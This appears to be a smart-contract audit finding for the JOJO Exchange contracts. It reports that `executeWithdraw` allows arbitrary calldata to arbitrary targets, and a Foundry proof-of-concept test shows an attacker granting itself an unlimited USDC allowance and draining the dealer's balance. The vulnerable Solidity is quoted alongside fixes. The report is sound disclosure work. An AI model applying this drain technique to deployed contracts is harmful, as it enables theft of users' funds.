Swift Tortilla Squid

high

# Loss of Funds: `JOJODealer.sol` can be drained via calls to `executeWithdraw`.

## Summary

When calling [`executeWithdraw(address,address,bool,bytes)`](https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/JOJOExternal.sol#L38), the caller is permitted to specify an arbitrary [`to`](https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/JOJOExternal.sol#L38) address and an arbitrary bytes payload, [`param`](https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/JOJOExternal.sol#L38). When [`to`](https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/JOJOExternal.sol#L38) is a contract, the arbitrary payload is used as calldata for invocation.

An attacker can exploit this by specifying a [`to`](https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/JOJOExternal.sol#L38) address of an asset managed or approved to the [`JojoDealer`](https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JOJODealer.sol), such as $USDC, and provide calldata to exploit this.

## Vulnerability Detail

In the test below, we demonstrate that during a normal withdrawal flow, an attacker can specify they wish to withdraw to a trusted contract with an arbitrary bytes payload.

In this flow, the `_ATTACKER` approves themselves to spend the full USDC balance of the `jojoDealer`:

### [DealerFundTest.sol](https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/test/impl/DealerFundTest.sol)

```solidity
function testWithdrawInternalTransferSherlock() public {
    jojoDealer.setWithdrawTimeLock(10);

    // First, `traders[0]` configures a position.
    vm.startPrank(traders[0]);
    jojoDealer.deposit(1_000_000e6, 1_000_000e6, traders[0]);
    jojoDealer.requestWithdraw(traders[0], 500_000e6, 200_000e6);

    cheats.expectRevert("JOJO_WITHDRAW_PENDING");
    jojoDealer.executeWithdraw(traders[0], traders[1], true, "");
    vm.stopPrank();

    // Let's also configure an attacker with some balance
    // to deposit.
    address _ATTACKER = address(0x69);

    vm.startPrank(_ATTACKER);

    // Mint some initial collateral.
    usdc.mint(_ATTACKER, 1e6);
    jusd.mint(_ATTACKER, 1e6);

    // Configure approvals.
    usdc.approve(address(jojoDealer), 1e6);
    jusd.approve(address(jojoDealer), 1e6);

    // Make a deposit.
    jojoDealer.deposit(1e6, 1e6, _ATTACKER);

    vm.stopPrank();

    // Simulate the passage of time. (Instead of using `vm.warp`,
    // we are following conventions in `DealerFundTest.t.sol`).
    jojoDealer.setWithdrawTimeLock(0);

    // Time to initialize the attack.
    vm.startPrank(_ATTACKER);

    // To start, verify we are unable to spend the dealer's funds:
    assertEq(usdc.allowance(address(jojoDealer), _ATTACKER), 0);

    // Here, we withdraw our collateral to the USDC address.
    jojoDealer.executeWithdraw(_ATTACKER, address(usdc), true, abi.encodeWithSignature("approve(address,uint256)", _ATTACKER, type(uint256).max));

    // Now assert that we can:
    assertEq(usdc.allowance(address(jojoDealer), _ATTACKER), type(uint256).max);

    // Verify we don't have an initial starting balance.
    assertEq(usdc.balanceOf(_ATTACKER), 0);

    // Excellent. Let's take everything.
    usdc.transferFrom(address(jojoDealer), _ATTACKER, usdc.balanceOf(address(jojoDealer)));

    // Confirm we took everything.
    assertEq(usdc.balanceOf(_ATTACKER), 1000001000000);

    vm.stopPrank();
}
```

As [`JojoDealer`](https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JOJODealer.sol) is a critical system component, this attack can be further generalized to further exploit different token approvals or balances.

## Impact

I've labelled this as high severity, since an attacker can very easily drain the contract through a normal user journey with no complex additional setup, restrictive financial barrier or dependence upon a trusted actor.

In addition, since the vulnerable contract will receive token spend approvals from users (and for good user experience, user interfaces will often try to approve `type(uint256).max` for expenditure), the potential losses incurred through interacting with the contract can be far larger than what is demonstrated here.

## Code Snippet

```solidity
function _withdraw(
    Types.State storage state,
    address spender,
    address from,
    address to,
    uint256 primaryAmount,
    uint256 secondaryAmount,
    bool isInternal,
    bytes memory param
)
    private
{
    if (spender != from) {
        state.primaryCreditAllowed[from][spender] -= primaryAmount;
        state.secondaryCreditAllowed[from][spender] -= secondaryAmount;
        emit Operation.FundOperatorAllowedChange(
            from, spender, state.primaryCreditAllowed[from][spender], state.secondaryCreditAllowed[from][spender]
        );
    }
    if (primaryAmount > 0) {
        state.primaryCredit[from] -= SafeCast.toInt256(primaryAmount);
        if (isInternal) {
            state.primaryCredit[to] += SafeCast.toInt256(primaryAmount);
        } else {
            IERC20(state.primaryAsset).safeTransfer(to, primaryAmount);
        }
    }
    if (secondaryAmount > 0) {
        state.secondaryCredit[from] -= secondaryAmount;
        if (isInternal) {
            state.secondaryCredit[to] += secondaryAmount;
        } else {
            IERC20(state.secondaryAsset).safeTransfer(to, secondaryAmount);
        }
    }

    if (primaryAmount > 0) {
        // if trader withdraw primary asset, we should check if solid safe
        require(Liquidation._isSolidIMSafe(state, from), Errors.ACCOUNT_NOT_SAFE);
    } else {
        // if trader didn't withdraw primary asset, normal safe check is enough
        require(Liquidation._isIMSafe(state, from), Errors.ACCOUNT_NOT_SAFE);
    }

    if (isInternal) {
        emit TransferIn(to, primaryAmount, secondaryAmount);
        emit TransferOut(from, primaryAmount, secondaryAmount);
    } else {
        emit Withdraw(to, from, primaryAmount, secondaryAmount);
    }

    if (param.length != 0) {
        require(Address.isContract(to), "target is not a contract");
        (bool success,) = to.call(param);
        if (success == false) {
            assembly {
                let ptr := mload(0x40)
                let size := returndatasize()
                returndatacopy(ptr, 0, size)
                revert(ptr, size)
            }
        }
    }
}
```

## Tool used

Vim, Foundry

## Recommendation

Do not permit arbitrary function calls from trusted contracts designed to hold funds or receive token approvals.

Possible remediations:

1. Move the ability to originate arbitrary external calls to a dumb contract which does not act as a trusted component of the stack.
2. Require that targets are executed using a formal JOJO-specific callback interface.
